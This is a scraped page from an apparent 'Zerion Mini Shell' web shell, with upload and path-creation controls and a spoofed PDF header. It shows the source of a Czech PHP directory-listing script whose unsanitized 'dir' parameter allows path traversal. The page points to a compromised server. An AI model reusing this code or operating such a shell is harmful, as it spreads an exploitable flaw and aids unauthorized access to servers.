%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/down/up/
Upload File :
Create Path :
Current File : //data/down/up/_index.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>  
  <head>    
    <title>Vypis obsahu slozky
    </title>  
  </head>  
  <body>
    <table width="90%" align="center" border="0">	
      <tr align="left">		
        <th>Poradi
        </th>		
        <th width="70%">Jmeno
        </th>		
        <th>Velikost
        </th>		
        <th>Posledni zmena
        </th>	
      </tr>
<?php
$txt = "";
function fsize($size)
{
	$jedn = array("bytes", "Kbytes", "Mbytes", "Gbytes", "Tbytes", "Pbytes");
	//$size = filesize($name);
	$i = 0;
	while($size > 1023)
	{
		$size /= 1024;
		$i++;
	}
	return sprintf("%0.2f %s", $size, $jedn[$i]);
}
$sub = ($_GET['dir']);
$path = '.';
$path = $path . "$sub";
$dh = opendir($path);
$i=1;
$addr = "http://rapid.varak.net/";
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
	    if (substr($file, -4, -3) =="."){
		    /*$stat = stat("$path/$file");
		    $size = fsize($stat['size']);
		    $date = date("Y-m-d H:i:s", $stat['mtime']);
		    //echo "$i. <a href=\"http://expert.isibrno.cz:56/waritko/down/$sub/$file\">$file</a> &nbsp;&nbsp;($size) <br />";
		    echo "<tr><td>$i</td><td><a href=\"$sub/$file\">$file</a><!-- INODE: ".$stat['ino']." --></td><td>$size</td><td>$date</td></tr>\n";*/
		    $files[] = $file;
            }else{           
        //echo "$i. <a href='?dir=$sub/$file'>$file</a><br />";
        $dirs[] = $file; 
          }
        //$i++;
    }
}
/*if($dirs)
{
  foreach($dirs as $dir)
  {
    echo "<tr><td>$i</td><td><b>&lt;dir&gt; <a href='?dir=$sub/$dir'>$dir</a></b></td><td>&nbsp;</td><td>&nbsp;</td></tr>\n";
    $i++;
  }
}*/
if($files)
{
  sort($files);
  foreach($files as $file)
  {
        if($file == "index.php" || $file == "_index.php" || $file == "get.php") continue;
        $stat = stat("$path/$file");
		    $size = fsize($stat['size']);
		    $date = date("Y-m-d H:i:s", $stat['mtime']);
		    //echo "$i. <a href=\"http://expert.isibrno.cz:56/waritko/down/$sub/$file\">$file</a> &nbsp;&nbsp;($size) <br />";
		    $txt .= $addr.str_replace("+", "%20", urlencode($file))."\n";
		    $txt2 .= "http://vserver.varak.net/down/up/".str_replace("+", "%20", urlencode($file))."\n";
		    echo "<tr><td>$i</td><td><a href=\"$path/$file\">$file</a><!-- INODE: ".$stat['ino']." --></td><td>$size</td><td>$date</td></tr>\n"; 
		    $i++;
  }
}
closedir($dh);
      ?>
    </table>
    <pre>
<?php echo $txt."\n\n\n".$txt2 ?>
    </pre>
  </body>
</html>


Zerion Mini Shell 1.0